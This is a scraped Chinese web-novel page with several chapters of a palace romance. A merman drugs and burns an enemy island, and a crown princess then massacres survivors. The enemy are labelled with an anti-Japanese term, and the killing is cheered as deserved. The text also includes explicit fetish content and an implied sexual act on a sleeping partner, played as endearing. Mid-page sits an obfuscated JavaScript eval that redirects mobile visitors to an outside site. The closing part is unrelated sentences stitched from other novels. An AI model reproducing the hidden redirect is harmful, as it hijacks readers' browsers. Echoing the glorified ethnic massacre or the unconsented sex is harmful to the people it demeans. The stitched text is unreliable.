手下鲛人虽然幻术没他这么登峰造极,但救大凰百姓,却是绰绰有余。
溟汐连续两次使用大型幻术,面色愈发苍白,喉间有铁锈味上涌,他抿唇,强忍。
直到所有酒坛里全部下好强效迷药,溟汐这才功成身退。
“汐殿下,火油、硫磺、硝石都准备好了。”
溟汐站起身,眼前一花,有些头晕。
属下担忧问道:
“殿下,没事吧?”
溟汐躲过属下扶他的手,轻摇了下头。
“本殿没事,事不宜迟,走。”
那鲛人属下看着溟汐坚决的背影,跟了上去。
“你一天内使用大型幻术间隔时间太短,太女殿下看到你这幅模样,定然会生气。”
溟汐顾不上这么多了,算时间,君羲今日就要抵达倭寇海岸,他必须在这之前,消除所有隐患。
羲羲的子民,他自会护住!
“没事,羲羲生气……我哄哄她。”
想到君羲生气他不爱惜身体的模样,溟汐低笑出声。
没关系,羲羲爱他,只要他好好哄一哄,她肯定舍不得跟他生气。
若是以前,溟汐可能还会担心他和君羲的感情,但现在,君羲给了他十足的安全感,他愿意相信君羲的真心。
花开两朵,各表一枝。
君羲加速航行,比溟汐计算的时间还要早半个时辰。
“遭了……太女殿下怎么来得这么快?”
君羲站在甲板上,看着溟汐留下的报信鲛人一脸惊慌,不怒反笑,问道:
“你是说,你们殿下以身作饵,深入敌营,替孤解救大凰百姓去了?”
报信鲛人一脸震惊,她刚刚是这么说的吗?
不是啊!
“没、没有……太女殿下,汐殿下有把握的,他带够了人的……”
君羲:“呵。”
所谓的带够了人,就是区区八九十个鲛人。
真是有够胡来的。
报信鲛人在君羲越来越骇人的低气压下,声音越来越小。
事实上,她说这话并没有什么底气,她也认为,自家殿下的计划是兵行险招,一旦被发现,就会万劫不复。
她硬着头皮解释了一句。
“太女殿下,汐殿下幻术是族中最强的,他肯定会平安无事。”
君羲根本不相信这样的说辞,这世上,越强大的力量,需要付出的代价就越大。
溟汐的幻术,想要迷惑的人越多,想也知道,所耗费的力量就会越大,而当所需力量超出负荷,就会对身体造成损伤。
“阿汐,等孤找到你,定要打你屁股。”
狠罚她舍不得,就选这种能让男子感到羞辱的惩罚好了。
看他下次还敢不敢以身犯险。
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第106章 不计一切代价,找到他
骄兵必败。
行军打仗,最忌讳的事情就是半场开烈酒。
倭寇认为自己已经胜券在握,外有安王等人和她们狼狈为奸,内有天然暗礁群给她们保驾护航。
她们没收到安王任何消息说会有军队前来讨伐,加上数百年来,每每有强国想出兵讨伐都因暗礁群存在而铩羽而归。
故而,她们醉生梦死,欢歌载舞。
殊不知,安王等人早就入了土。
暗礁群在海洋食物链顶端的鲛人眼里,根本不值一提。
覆灭的危机悄然到临。
天皇喝大了,三角眼眯起,想起了狱卒捡回来的美男子。
那美男,是真的美啊。
反正她们倭寇国根本找不出这样出挑的美男。
天皇心里痒痒,正好大军打了胜仗,不如喜上加喜,今日就娶了美男,入洞房,生娃娃!
“哈哈哈……”
“各位阁下,本皇还有一桩喜事要公布。”
喝得脑壳昏沉沉的倭寇将领们醉眼迷离,心里嘀咕,这次的酒是谁采买的,真他爹的烈,重重有赏!
意识混沌,她们只听到喜事,什么喜事?
“本皇今日便要迎娶正夫,是个绝色男子,各位,继续喝,就当喝本皇和美男的喜酒了!”
“天皇阁下,你要去哪?”
天皇壮硕的身躯颤动,三角眼里全是兴奋。
“本皇自然是去入洞房了!”
“哈哈哈,天皇阁下,你这也太急色了!”
“你可别吓坏了美男!”
倭寇缺乏礼教熏陶,行事全凭喜好。
她们对天皇没有三媒六聘、拜堂成亲就娶了正夫,入洞房,毫无意义。
就好像,一切就该这么做。
天皇只觉得烈酒后劲有些大,她怎么有些看不清路了,脑袋也昏沉得很,根本无法思考。
“美、美男呢?本皇的正夫在哪?”
无人回应……
天皇用手捂着头,壮硕的身躯止不住往下滑,但她心里惦记着美男,强撑着睁大眼睛,扫视地牢。
“人呢?!都给本皇滚出来!”
天皇暴跳如雷,手底下的人玩忽职守,简直就像往她脸上扇了几巴掌。
她像个疯子一样叫嚣了一阵,发现无人理会,她的意识也越来越模糊——
这绝不是酒醉能解释的!
寒意顺着脊背往上窜,她意识到不对劲。
“不好!酒里有……迷……药。”
地牢里哪里是没人?
地牢里除了少数大凰百姓被溟汐带走外,全是被迷昏的狱卒和囚犯。
可惜,天皇这个时候意识到已经太晚了,迷药已经彻底侵入她们的身体,发作了。
倭寇也是作死,倭寇的掌权者——天皇,以及军中能做主的将领,全部都在这场庆功宴上。
所以,溟汐一行人的营救计划出乎意料外的顺利。
“都跟上!”
“别怕,太女和汐殿下都在,大凰来接你们回家了。”
被贩卖到倭寇地界的百姓基本都是贫苦人家的男子,他们见过最大的官也就是县令。
如今听说为了救他们,大凰尊贵的储君亲自来了,就像吃了颗定心丸一样,咬着牙跟上救兵的步伐。
大凰没有放弃他们,他们不是弃民!
人一旦有了心气,就能有战胜困难的勇气和决心。
他们相互搀扶着,哪怕是被倭寇折辱过,被掳以来没吃过一顿饱饭,现在也爆发了前所未有的求生欲。
他们要好好活下去!
鲛人带着他们专往偏僻的地方跑,这样能减少遇到人的几率,就算遇到了,也能使用幻术让其忘记。
若是有人能在岛屿上空俯瞰,就能发现,有九十个鲛人,分别救了数百个男子小孩儿,像星星之火一样,不断朝着岛屿海岸汇聚。
这是生的力量!
溟汐则是和另外八个鲛人一起,查看了硫磺、硝石、火油的安置情况。
说起来,倭寇也是自找死路。
放硫磺硝石和火油的地方不远处就是兵器库和粮仓,本来溟汐只打算迷昏倭寇上位者们,救了大凰百姓就走的。
但天赐良机,他想多做一点。
只需一把大火燃起,就能焚尽罪恶!
溟汐该死的心动了。
哪怕会有一点点危险。
银发随着男子奔跑的动作在身后飞扬,他大口喘着气,额角有汗珠流下,溟汐双眼发亮,他喜欢这种能帮到妻主的感觉!
又或许,他本身就是嗜战的!
好战是刻在他骨子里的特性,哪怕是习惯了用柔弱无辜伪装自己,一旦有了战斗的机会,他的血液就会沸腾,兴奋。
溟汐还不知道,他心心念念的妻主此刻脸色越来越黑,周身气势压得人喘不过气来。
君羲按照溟汐提供的能安全驶过暗礁群的路线停船靠岸,战船刚刚靠岸,就见到被营救出来的大凰百姓。
君羲第一时间在人群中寻找溟汐的身影——没有。
她不死心又仔细查看一遍,还是没有。
凤羽站在君羲身旁,对君羲阴冷低沉的情绪表示理解。
本小章还未完,请点击下一页继续阅读后面精彩内容!毕竟,若是她的安安也这般不听话,将自己置身险境,她的情绪也好不到哪里去。
“太女殿下,别担心,汐公子可能在后面。”
君羲凤眼暗沉,她心中已经有了猜测。
她认识的溟汐,从来不是只会躲在女人身后的柔弱男子,他怕是做更危险的事情去了。
“孤不放心。”
“太女殿下!真的是太女殿下!”
“呜呜呜……我好想家……”
“太女殿下来救我们了,大家都别哭,别丢脸!”
越来越多的百姓登上战船,想到被掳走后的屈辱、有家不能回的悲痛、有冤无处申的绝望……
哭声此起彼伏。
君羲纵然心里担心溟汐情况,此刻在受尽困难的子民面前也收敛了几分气势。
“大家别怕,安王及其党羽已经伏诛,漾州、绥州如今是凤羽军掌管,大家不必担心在被人压迫欺辱!”
君羲的声音不大,却内容却足以安抚受惊的百姓。
他们哽咽着,朝着她的方向心甘情愿地叩拜。
“草民谢太女殿下!”
“太女殿下英明!”
“……”
君羲深吸一口气,纵使有心理准备,看到这幅场景还是觉得心里发酸。
他们本该安居乐业,却饱受战火摧残。
她身为大凰储君,有愧!
“凤羽,你安排士兵给他们食物和水。”
“是,殿下。”
君羲又等了大概半刻钟,还是没见到溟汐身影,她等不下去了!
“凤羽,点五万人马,孤要去接夫郎回家。”
“殿下!”
凤羽惊呼出声,本来,她们最开始的作战计划是派出先锋军探路,再根据先锋军反馈的情况大军推进。
如今直接大军入境,过于鲁莽了。
君羲打断凤羽,凤眼里面寒霜逼人。
“不必多说,孤必须救回阿汐。”
“殿下!你看……”
不必凤羽多说,君羲也察觉到了天际升起的烽烟。
“是阿汐。”
君羲提起的心总算放下了一些,她看着滚滚升起的烽烟,心中情绪复杂,既骄傲又担心。
“随孤迎战!荡平倭寇!”
“战!”
“战!”
“战!”
凤羽军气势冲天,君羲朝着烽烟的方向,纵马疾驰。
疾风划过她冷然的眉眼,长枪似乎在渴望鲜血。
她在心里默念,阿汐,等孤。
不许有事。
君羲心里的愤怒,是因为担心溟汐的安全,只要溟汐能安然无恙回到她身边,她宠他疼他还来不及,怎么舍得惩罚他?
顶多是在床上惩罚他。
溟汐是她重生以来,第一个彻底走进她心里的男子,君羲不敢去想象,若是溟汐出事,她会如何……
“驾!”
熊熊火焰燃烧,天皇和一众军中将领还在昏睡中。
浓烟滚滚,温度灼人。
溟汐和手下到处点火,火苗渐渐成了气候,成了吞噬一切的火海。
火海又和火海相连,火势越来越大,几乎控制不住。
中了幻术的倭寇就是在这种情况下醒过来的,浓烟呛鼻,淹没她们的喉管,火焰滚烫,烧伤她们的皮肤血肉。
若这世上真有最难受的死法,被活生生烧死绝对排得上号。
“起火了!”
“跑!”
“救命!救命……”
“……”
已经顾不上去追究火灾是意外还是人为,心中只有一个念头,逃离火海。
只是,火势实在是太大了。
房梁落下,房屋倒塌,四处都是烧焦的断壁残垣……
逃不出去……
除了火海还是火海,她们清醒得太迟了,除非苍天显灵,降下倾盆大雨,才有可能扑灭火焰。
无数身背罪恶的倭寇在火焰里挣扎,扭曲着求救,声嘶力竭着想活下去。
就像当初被她们折辱的大凰百姓一样。
那时的她们高高在上,轻蔑的眼神,肆意的凌辱,残酷的虐杀,无所不用其极。
将被折辱者的哀嚎当做动听的乐声。
落得现在的下场,只能说是活该!
杀人者,人杀之!
君羲一路疾驰,惊动了倭寇国内居住的百姓,她们有人天生恶,拿着武器想杀她,却见女人不屑一顾,长枪一扫,就没了声息。
“不计一切代价,找到他!”
“遵令!”
君羲用内力传遍整座城,放弃抵抗者,不杀,负隅顽抗者,杀无赦!
很快,就清出一条血路来。
心脏在胸腔里跳得很快,她在火海中穿行。
在哪?
溟汐在哪?
她的爱人,在哪?
内力化作护罩庇护着女人和马不被火焰烧伤,但火海里面的温度太高,不多时,君羲浑身便被热汗润湿,眼底映照着烈焰。
“阿汐!”
“殿下,我在这!”
君羲横枪立马,扭头往声音传来的方向望去。
此刻的她,面色被温度灼得发红,眼眶都红了,眼底全是对溟汐的担心。
她此刻的样子算不上好看,甚至有些狼狈,但溟汐就是觉得,君羲好看极了,比周围的烈焰还要耀眼。
察觉到女人不安的情绪,溟汐有些心虚,这次的确是冲动了。
溟汐凝望着以烈焰为背景,比烈焰还炽热夺目的女人。
他说。
“殿下,别怕。”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第107章 溟汐想君羲想疯了
在听到溟汐的声音之前,君羲快急疯了。
火海滔天,溟汐再怎么厉害也是海中族群,她压根不敢去想,万一溟汐被困在火海里,后果会是怎样?
真的是她的小鱼吗?
君羲怕眼前的身影和入耳的声音是她的幻觉。
“阿汐?”
君羲自己都没察觉,她把溟汐看得太重,此刻开口的声音带着一点哭腔。
溟汐心疼坏了,早知道会让女人这般担心,他就该提前写信告知,或是让属下先行行动,他先和羲羲汇合。
碧色的眼眸里柔情和担心揉碎混合,溟汐敏锐察觉,君羲的情绪有些不对劲。
“羲羲,是我。”
他抿了抿唇,主动朝君羲的方向大步跑去。
君羲这才终于肯定,眼前的人,就是她心心念念,生怕出一点事的夫郎。
她骑马欲离开火海,男人却是主动朝火海奔赴而来。
君羲心中微动,像飞蛾扑火,她想。
但她就喜欢溟汐这种飞蛾扑火也在所不惜的爱。
“阿汐,抓住孤的手。”
一如初见那般,女人骑在白马上,像一束光,闯进溟汐漆黑荒芜的世界里。
骨节分明大手伸出,溟汐从未有过半分质疑。
只要是君羲让他做的,就一定有她的道理。
“吁!”
骏马马蹄高高扬起,君羲瓷白却不失力量感的手抓住了溟汐的手,握紧,这才有了人真的没事的实感。
君羲一个用力,溟汐便上了马,坐在她身后。
内力护罩立马不值钱一般朝他覆盖,隔绝火海。
女人此刻脸色有些冷,看上去很生气的样子,他喜欢亲吻的唇此刻抿成冷肃的直线,溟汐意识到,这件事儿怕是没那么好过去。
骏马一刻不停朝火海外疾驰,溟汐有些不知所措。
他张口想说些什么。
“羲羲,我……”
他想说他错了,不该将自己置身险境,让她担心。
君羲没给他开口的机会,声线冷然似雪。
“抱紧孤。”
溟汐闻言,立马收紧环抱在女人腰腹处的手臂。
独属于溟汐的海盐薄荷气息笼罩在她周围,君羲冷冷抿起的唇微不可见地上翘。
“有什么话,离开这里再说。”
溟汐将脑袋靠在女人肩膀上,小动物似的蹭蹭,似乎是一种安抚,又似乎是一种讨好。
以溟汐对君羲的了解,此刻是因为还在险境,所以她才没多计较,等回去……
到了安全的环境,君羲一定会秋后算账,一笔一笔朝他讨回来。
溟汐有些担忧,但更多的,是兴奋。
兴奋于女人是如此的在意他,怎么罚他,他都甘之如饴。
“羲羲,别生气。”
怎么可能不生气?
君羲心里被一团火塞着,若不是环境不对,她早发作了。
想煎鱼,翻来覆去那种!
女人眼底晦暗翻涌,由于视角原因,溟汐并没有看到君羲眼底的欲色,还像个无知的小动物,讨好般软了声音。
“回去后,妻主想如何惩罚侍身都可以。”
所以,别生他气了,好吗?
溟汐还是喜欢君羲朝他笑的模样。
“哼。”
君羲没有回头,一路朝着海岸线疾驰,她得先将溟汐送到安全的地方,然后去找倒霉蛋发泄心中怒火。
君羲的坐骑自然是军中一等一的存在,加上溟汐一直在走神,思考如何让女人消气,所以,等溟汐回过神来,已经被君羲安置在战船上了。
溟汐叫住女人。
“羲羲,你要去哪?”
君羲的背影一顿,却没转身。
“给孤看好汐侧夫。”
她舍不得对溟汐发泄怒火,可以对倭寇发泄啊,反正这些倭寇都该死,死在她手上,还能有点价值。
“驾!”
上马疾驰,溟汐往前跟了两步,立马被阻拦。
两把长枪交叉拦住他的去路。
“汐公子,还请回去,别让属下为难。”
她们二人心中叹气,太女殿下的命令,无人敢不从。
也就是溟汐了,让太女殿下一路脸阴沉得要命,还舍不得伤害他。
她们将君羲对溟汐的爱意看在眼里,若不是君羲的命令,她们根本不敢得罪太女殿下的宠夫。
“太女殿下处理完倭寇就会回来,到时候……汐公子你多说些软话,哄哄殿下。”
君羲现在正在气头上,溟汐也不是傻子。
他决定等君羲用杀戮发泄一番,等她回来,在好好安抚女人。
他能做的都做了,以羲羲的军事才能,余下的根本用不着他担心。
想清楚这些后,溟汐不为难看守的士兵,默默回了房间,关上房门。
他环顾一圈,鼻间熟悉的气息让他明白,这是君羲的房间。
发热期早就过去,但鲛人对伴侣的渴望是刻在骨子里的,她们已经有许久未见了。
反正房间里面不会有旁人,溟汐就像一个变态一样,将脸深深埋在君羲的枕头上,猛吸狂吸……
“唔——”
这些天,他想君羲想得快发疯了。
本小章还未完,请点击下一页继续阅读后面精彩内容!枕头上残余的气息根本不够安抚鲛人躁动渴望的内心,他需要更多,比如——
溟汐环顾一圈,迫切地用视线搜寻他想要的带着女人气息的东西。
视线在扫过遮挡浴桶的屏风上时,溟汐呼吸都粗重了几分。
屏风上,搭着君羲昨夜换下的衣服。
仗着君羲不在,他根本不遮挡变态的行径。
他心里只有一个念头,他需要这些来压制心中疯狂的想念。
“唔~”
整张脸埋在布料里,溟汐深吸着上面属于女人清冷的雪香,他似乎能从薄薄的布料上,感受到女人娇嫩的肌肤。
溟汐还没意识到,他此刻已经失控了。
一直压抑的思念,把他变成了“疯子”。
俊脸在轻薄柔软的衣料上蹭着,就算布料在柔软,也架不住鲛人蹭的频率高,很快,他眼尾便浮上一片薄红。
喉结不受控制地上下滚动,急促地喘息着。
“唔。”
像一个无可救药的变态。
溟汐结束一切,额前的发丝被汗水濡湿,有种别样的性感。
他无措地看向手上不成样子、皱巴巴的衣服,这才反应过来他刚刚的行为有多变态!
但他心中却没有半分羞耻,反而拿出一个带锁的精巧木匣,用内力封存后,仔细地存放起来。
溟汐抬手遮住微湿潮意的眸,一连串性感的低笑从男人的喉咙间溢出。
怎么办?
他真的好喜欢君羲,喜欢得已经疯掉了。
他失控了。
溟汐记忆力一向不错,纵然刚刚情绪陷入疯狂,被无边无际的欲望吞没。
但他此刻仍旧记得小衣上的细节,包括每一处布料上的走线以及绣的花样。
鲛人心中还是有所担心,担心女人会害怕他变态一样行为。
所以他翻箱倒柜,仔细比对摆放整齐的小衣,在里面一阵翻找,终于找到了和之前那件一模一样的小衣。
看见这件小衣的瞬间,刚刚的记忆如同潮水一般在他的脑海中不断来回翻涌。
但他刚刚仔细看过了,除了手中这件小衣,以及刚刚他收藏起来的小衣,没有第三件小衣同这两件一模一样了。
所以……他不能再继续刚刚的行为,免得吓到他心爱的伴侣。
“羲羲,我很期待你的专属惩罚呢。”
溟汐躺在女人睡过的床上,多日以来的想念得到一场发泄后总算能控制住了,他闭上眼,不一会儿便在女人的床榻上熟睡过去。
此刻的君羲——
人挡杀人,神挡杀神。
烈焰威力虽大,但在危机时刻,强大的求生意志总能支持那么一些漏网之鱼逃出火海,而她要做的便是在火海外守株待兔,斩草除根。
在君羲和凤羽军抵达之前,溟汐几乎已经替她扫除了所有障碍,这是一场一边倒的屠杀。
可怜的倭寇们,刚逃出火海以为自己劫后余生,便看到守在火海外的凤羽军。
惊恐害怕的神色还来不及蔓延开来,就被凤羽军送去见阎王去了。
火海肆虐,血流成河。
一场战争过后,只有残存的断壁残垣和烧焦的尸体证明这场战争的存在。
为了防止爆发瘟疫,所有的倭寇尸体都被就近丢进火海里焚烧。
等到大火燃尽,一场雨降临,一切又会恢复生机。
除掉的,自始至终都只有一群渣滓。
“统领,谁惹到殿下了?”
凤染看君羲杀人如麻,心里发怵。
上一次太女殿下这般大开杀戒,还是在幽雾谷,因为溟汐公子受伤。
凤羽瞥了凤染一眼,确认君羲没注意到她们过后,才压低声音道:
“因为男人。”
凤染了然,眼睛微微睁大。
“统领,你是说汐公子?”
凤染心中不解,她们这次能无伤亡荡平倭寇,溟汐当居首功。
若是她有这么厉害的夫郎,做梦都能笑醒,怎么太女殿下还生气了呢?
凤染没谈过,眼底透露出白纸一张色愚蠢。
凤染一个巴掌拍在她脑壳上。
“殿下自有定夺,你个打脑壳的,可不要多管闲事,惹殿下不快。”
凤染委屈撇嘴,她怎么就打脑壳了?
别以为她不知道,统领在骂她脑子不好!
“知道了知道了知道了。”
她捂着脑壳,决定不思考了,反正殿下是她心目中一等一的聪明人,她只需要跟随殿下的指引就好了。
汐公子和太女殿下的事情,就让她们自己处理去吧。
君羲面无表情用手帕擦着染血发烫的长枪,吐出一口气,这才觉得可以回去见溟汐了。
“凤染,你领一万凤羽军在此驻兵,以后,这里便是大凰的领地。”
凤染单膝跪下,热血澎湃,这才是大女人应该做的事!
保家为民!开疆拓土!
她凤染,愿意永远追随太女殿下!
“凤染领命!”
君羲则是一刻不停,手背擦了下脸侧溅上的血,披上黑底金色龙纹披风,宣告大军。
“凤羽军听令,随孤回朝!”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第108章 不亲就不亲
溟汐就是欠收拾,君羲本来心里憋着一口气,打算好好教训一下不把自身安危放在心上的男人,所以她刻意没有收拾身上的血煞之气。
看守的士兵兢兢业业,不等君羲开口询问就主动告知溟汐情况。
“太女殿下,汐侧夫回来后就睡下了。”
潜在意思就是您的夫郎很乖,没有闹,希望能让太女点殿下消消气。
听到溟汐已经休息的君羲,开口就是一句口不从心的讥讽。
“惹孤生气,他倒是睡得着。”
看守的士兵冷汗涔涔,也不知道太女殿下是不是更生气了,怎么听了他们的禀告后转身就走,没留下只言片语。
君羲不是不识好歹的人,溟羲为了她做了太多太多,当初,和族中**是为她,现在,置身险境也是为了她。
她生气,不过是因为太在意溟汐。
溟汐应该很久都没睡过一个好觉了,她不想打扰男人休息。
但是,她好歹也是一国储君,还是要面子的,不能说不生气就你生气了,那岂不是显得她很好哄?
所以,她冷着脸……沐浴更衣去了。
以免血腥气冲撞了小鱼。
她特意用了溟汐喜欢的冷香皂角,又换上了浅蓝色衣裙,在等身琉璃境跟前左右照照,确认没问题后,才施施然去溟汐所在房间。
“太女殿下!”
“嘘。”
谁说太女殿下不懂温柔?
两个士兵对视一眼,太女殿下可太温柔了,瞧瞧,说是生气,自己把自己先哄好了。
见侧夫还孔雀开屏似的,整个凤羽军,谁不知道溟汐喜欢蓝色?
太女殿下有这种宠夫的精神,难怪能得美男喜欢。
君羲心态强大,纵然察觉到士兵眼底的揶揄和调侃,也能面不改色,板着脸吩咐。
“你们下去吧,阿汐这里有孤就足够了。”
君羲面对溟汐,总是会不自觉温柔。
她放轻脚步和呼吸,一眼便看到躺在床上裹着她被子睡得香甜的男人。
君羲坐在床头,伸手挑起鲛人柔顺的银色发丝,一圈一圈缠绕在手腕。
由于鲛人体质偏凉,银色的长发也是微亮的触感,缠绕在她跳动的脉搏上,有种说不出的快感。
她许久未见溟汐,心中也是想念极了。
见不到人还好,一见到人,这些入心入骨的思念就像密不透风的丝线将她包裹,也让她整个人变得痴迷病态。
她张口含住男人的银色发丝,细细品味,凤眼里像有能吸人灵魂的漩涡,死死盯着男人的脸,一寸又一寸用视线描摹。
“阿汐……”
君羲蹬掉鞋子,像一条灵活的蛇一般,钻进男人的被窝。
手攀上男人的胸膛,检查他是否受伤。
她的动作放得很轻,只要察觉到溟汐有醒过来的征兆就会暂停,等溟汐继续安睡又开始检查。
溟汐是她的,包括身体和灵魂。
所以,她要好好检查,男人那肩宽腰窄的完美身躯有没有损伤。
许久,终于检查完毕,君羲这才安心,抬眸轻声道:
“还好你没事。”
一番折腾,她也累了,窝在男人宽阔胸膛里,吻上溟汐好看的薄唇,就这样相依偎着闭眼休息。
……
在溟汐的身边,总是格外安心。
等君羲醒过来,条件反射去摸身侧的位置,迷蒙的神色瞬间清明。
“阿汐?”
她那么大条小鱼呢?怎么一觉醒来鱼没了?
刚想动身起来,腿间一阵酸软,君羲还不知道她睡着后到底发生了什么。
“嘶~”
怎么回事?
她的腿怎么会这么酸?
难不成是她许久没有打仗了,所以身体经受不住高强度的厮杀?
她垂眸看去,就发现不对劲了。
她睡前明明穿的是一条浅蓝色裘裤,怎的变成深蓝色了?
就像骑了七天七夜大马一样,两条腿……尤其是大腿内侧有些疼,似乎被磨破皮了。
君羲也没多想,只当是昨天在气头上,没注意大腿内侧被马鞍磨伤了。
这一世,没经历许多战役,她的身体的确没有上一世的强度。
女人垂眸思索着,估计是溟汐发现她腿受
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709789|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤了,所以给她换地,仔细感觉,除了破皮的火辣酸疼,还有药膏的冰凉舒适。
由于低着头,又在想溟汐多么贴心,过于专心的君羲没注意到溟汐已经进来了。
溟汐喊了君羲好几声,都没得到回应,心虚的眼神压根不敢落在女人身上。
昨夜……
“咚!”
溟汐跪得那叫一个快,君羲终于注意到溟汐,一脸迷茫。
“阿汐,你……”
你跪着干什么?
话没说完,就听到溟汐一股脑将昨夜的事情全部交代了。
君羲给气笑了。
“哈。”
她还没在床上惩罚溟汐,溟汐到忍不住偷吃起来了!
溟汐怯生生的眼神,愈发让君羲气不打一处来。
“别靠着孤。”
溟汐跪着跪着就跪到床上来了,乖顺将脑袋放在女人肩颈,小猫似的蹭蹭。
“就要靠。”
君羲想测过身体,身体力行表达她的抗拒。
“不许。”
溟汐委屈,小哭腔都出来了,脑袋跟着君羲的动作一起移。
“呜……羲羲,你讨厌我了吗?”
“我知道错了,昨夜不应该忍不住,下次……”
君羲没好气,捏住男人带着泪痕的脸颊。
“你还想有下次?”
溟汐垂下眸,不说话。
君羲用力一些,给人脸都捏红了。
“说话。”
“想。”
溟汐没皮没脸,眼神还特无辜。
“下次我一定先问过羲羲,然后在××”
君羲一把推开牛皮糖一样死黏住她求原谅的某鱼。
“让不让开?”
溟汐反手攥住君羲推他脸的手,君羲一看他眼底的贪婪和渴望,就知道这臭鱼想干什么!
“不许亲!”
溟汐眨巴了一下眼睛,显然是呆住了。
妻主是怎么看出他内心的真实想法的?
行吧,不亲就不亲。
他遗憾地收回一个吻,眼巴巴问道。
“妻主,你不是生气侍身将自己置身险境吗?你惩罚我吧。”
第一卷 第109章 最幸福的小鱼
了解溟汐越多,君羲越知道这条臭鱼的秉性。
说是惩罚他,怕不是心里很期待吧?
溟汐跃跃欲试,眼睫微垂,看上去十分听话好欺负。
“妻主,侍身真的知道错了,再也不敢了。”
二是借助马匹的移动速度游离于敌军远程攻击兵种射程内外,使用弓箭、标枪等远程攻击手段造成敌军心理压力,诱发敌军内部混乱。为冲击敌阵的骑兵与步兵创造更多的战场倾斜。
李振国轻轻地去亲赵蕙,赵蕙闭上了眼睛,任由李振国亲吻着,赵蕙的心里有些酸楚,眼泪悄悄流了下来。
对于张让来说,他全部的倚靠就是汉灵帝刘宏,刘宏的身体每况愈下,这不能不令他担忧。张让必须要留后路,来应付刘宏驾崩后的局势。
夏枫对管家刘本说道:“通知指挥部的成员来开会吧。”刘本答应着去了。
高顺看到任斌从马上摔下,急忙上前抱起任斌,却见到他后背中了一箭,无巧不巧地从铠甲的缝隙射进了他的后背,刺穿了他的肺部。
赵蕙和李振国回到了沙滩上,穿好了旅游鞋,上了岸,向回走去了。
第二天早晨,天空阴沉沉的,赵蕙的心情也不太好。她到了学校,走到阳台上时,看见李掁国走进了学校。
家眷连夜收拾,上百辆马车组成的队伍浩浩荡荡出发了,乌龟壳也被做成一个巨大的马车拉着,几个洞口装上窗子黑布还真像那么一回事。
齐奕听了他的话把我放下来,我走进沉奈默面前使劲瞪他。“别闹了,他是伴郎必须这样做。”幸亏,摄影大叔在拍嫂子,不然就砸场了。
过了这么久的时间,她有没有也曾在海边,赤足奔跑,有没有人陪她在漫天星斗的夜下,默无声息的散步。
梁凡歆从睡梦中惊醒,面前依旧是熟悉的一切,只是却愈发的觉得头疼起来了。
“你少来这套。”高君说道:“之前你可不是这么说的,你说这不是交易,你就喜欢大英雄,做的事儿越大越喜欢。
他的大意造成了重大的损失,很多无辜者在他盲目的计划中,成为了自己的殉葬品。
高考成绩如何,也许已经不重要了,关键的是曾经努力过。来自高考的挑战已经结束,而来自青春的挑战,才刚刚开始呢。
沐星海心里极其震惊,虽然在他看来,易枫着实很强,可是如今的他竟然能够抗衡天灵境强者了?
“说来奇怪,凤于飞醒来后不哭不闹,半分也没提孩子的事情,甚至连伤心都看不出来呢。”芳若有些不可思议的说道,自己怀的孩子,尤其是嫡子,就这样莫名的被打掉了,难道她的心中就一点都不在乎吗?
“什么吗?是他没输,我没赢。什么叫彻彻底底的输给了他?我呸。”三头蛟眨巴着眼睛,愤怒了。
“狂蟒老大给面子,哈哈,这份人情我记下来,来坐,尝尝我带过来的水果。”李智笑着,客气招待着。
“正在中军帐中等候二殿下的到来。”国师做了一个请的姿势,阿翔便紧跟在其身后,今天,他一定要拿到天香蚕蛊的解药,一定要让飞儿摆脱这难以忍耐的疼痛。
第一卷 第110章 抵达
事实证明,要骗一个喝得醉醺醺,脑袋不清醒的鱼是特别好骗的。
君羲先是示意众将士们继续,然后便用一个握着空气的拳头将醉鱼骗回了房间。
“为什么?你不是……”白灵紫不依不饶,出宫时,白少紫一起随行,她就知道这一次一定能将唐唐带回来了。
看着云若兮已经如同自己所预料的一样进入了状态,秦翎安下心来,开始专心准备另一道炼食。
两百年一次的圣战终于再次打响了,华夏修仙界的各大门派掌门带领着门下弟子以张晓枫为中心已经在教廷大军通往华夏国的边境上严阵以待了。
婉红尘回头,对着卿鸿笑了笑,脸上仰着自豪的神情,显然,婉红尘对于自己身为于婉氏一族的人,是何等的骄傲。
话语当中,一股滔天的杀机,蓦然传出,然后姬考转身,带着杨戬离去。
“哪里有那么简单的事情,你将这死亡能量吸收到自己的体内之后,死亡能量就不受你的控制了,你还能怎么将其发出体外呢?”梅雪莲否决了盘宇鸿的提议。
毕竟,自己这朱雀真火的威力就算是像先前白云道人那样的炼虚期五层境界的强者都可以瞬间焚成灰烬的。
众人沉默着,却不得不承认事实的确是如此,作为流芳纺纺主的他,没有任何说谎的理由。
想到了激动之处,他忍不住仰天大笑了起来,癫狂之态,让所有人立刻都和他拉开了距离,表示自己都不认识他。
徐佑没有用他的长剑,而是选择了更适合战场的枪,霸王枪!他长身玉立,一把长枪舞得虎虎生风,西凉兵沾上就丧命。
好吧,虽然李林在说完那句话后就没有反应了,但是战斗中的saber却发现了自己同伴的状况,只见她好像是解开了什么束缚似得,一股强力的魔力从她手中的那把无形之剑上散开,一时间竟然逼退了尼禄。
希尔不得不承认:从第275章等诸多方面,远胜于他面前的所有对手,令被动防御中的联军始终落在下风。
“你们自己看看吧!”竹下把对外的监控画面通过内部通讯装置传了过来,当即在墙壁旁侧的监控屏幕上显示出外面的情形。
“呼……”艾露莎在半空中一个折向,然后几个踏步朝着青蛙冲了过去。
就在凌霄城众位长老思量白元生这番话的时候,一个声音却在这时传来说道:“掌门师叔,我反对。”!。
黄百鸣一连几个问题,问得曾志伟都不知该回答哪一个好,不过也就这几个问题,问出了在座的人内心的疑问。
